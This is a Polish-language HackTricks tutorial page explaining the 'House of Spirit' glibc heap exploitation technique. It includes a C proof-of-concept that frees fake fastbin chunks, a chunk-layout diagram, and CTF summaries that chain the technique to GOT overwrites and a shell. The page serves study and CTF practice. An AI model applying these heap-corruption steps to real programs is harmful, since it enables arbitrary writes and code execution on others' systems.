# Dom Ducha {% hint style="success" %} Ucz się i praktykuj Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz się i praktykuj Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wesprzyj HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
{% endhint %} ## Podstawowe informacje ### Kod
Dom Ducha ```c #include #include #include #include // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim; ptr = malloc(0x30); printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]); // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd; free(ptr); victim = malloc(0x30); printf("Victim: %p\n", victim); return 0; } ```
### Cel * Być w stanie dodać adres do tcache / fast bin, aby później można go było zaalokować ### Wymagania * Ten atak wymaga, aby atakujący mógł stworzyć kilka fałszywych szybkich kawałków wskazujących poprawną wartość rozmiaru i następnie zwolnić pierwszy fałszywy kawałek, aby trafił do pojemnika. ### Atak * Stwórz fałszywe kawałki omijające kontrole bezpieczeństwa: będziesz potrzebował 2 fałszywych kawałków, wskazujących w odpowiednich pozycjach poprawne rozmiary * W jakiś sposób zwolnij pierwszy fałszywy kawałek, aby trafił do pojemnika fast lub tcache, a następnie zaalokuj go, aby nadpisać ten adres **Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **jest świetny do zrozumienia ataku.** Chociaż ten schemat z kodu dobrze go podsumowuje: ```c /* this will be the structure of our two fake chunks: assuming that you compiled it for x64 +-------+---------------------+------+ | 0x00: | Chunk # 0 prev size | 0x00 | +-------+---------------------+------+ | 0x08: | Chunk # 0 size | 0x60 | +-------+---------------------+------+ | 0x10: | Chunk # 0 content | 0x00 | +-------+---------------------+------+ | 0x60: | Chunk # 1 prev size | 0x00 | +-------+---------------------+------+ | 0x68: | Chunk # 1 size | 0x40 | +-------+---------------------+------+ | 0x70: | Chunk # 1 content | 0x00 | +-------+---------------------+------+ for what we are doing the prev size values don't matter too much the important thing is the size values of the heap headers for our fake chunks */ ``` {% hint style="info" %} Należy utworzyć drugi kawałek w celu ominięcia pewnych kontroli poprawności. {% endhint %} ## Przykłady * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) * **Wyciek informacji z Libc**: Poprzez przepełnienie możliwe jest zmienienie wskaźnika tak, aby wskazywał na adres GOT w celu wycieku adresu Libc poprzez akcję odczytu CTF * **House of Spirit**: Wykorzystując licznik, który zlicza liczbę "karabinów", możliwe jest wygenerowanie fałszywego rozmiaru pierwszego fałszywego kawałka, a następnie wykorzystanie "wiadomości", aby sfałszować drugi rozmiar kawałka, a następnie wykorzystanie przepełnienia, aby zmienić wskaźnik, który zostanie zwolniony, więc nasz pierwszy fałszywy kawałek zostanie zwolniony. Następnie możemy go zaalokować, a wewnątrz będzie adres, pod którym przechowywana jest "wiadomość". Następnie możliwe jest skierowanie tego do wpisu `scanf` w tabeli GOT, dzięki czemu możemy nadpisać go adresem do systemu.\ Następnym razem gdy zostanie wywołane `scanf`, możemy wysłać wejście `"/bin/sh"` i uzyskać dostęp do powłoki. * [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) * **Wyciek Glibc**: Niezainicjowany bufor stosu. * **House of Spirit**: Możemy zmodyfikować pierwszy indeks globalnej tablicy wskaźników na stercie. Za pomocą jednobajtowej modyfikacji używamy `free` na fałszywym kawałku wewnątrz poprawnego kawałka, dzięki czemu po ponownej alokacji otrzymujemy sytuację nakładających się kawałków. Dzięki temu atak trucizny Tcache działa, aby uzyskać arbitralne pisanie. ## Odnośniki * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) {% hint style="success" %} Naucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Naucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wesprzyj HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}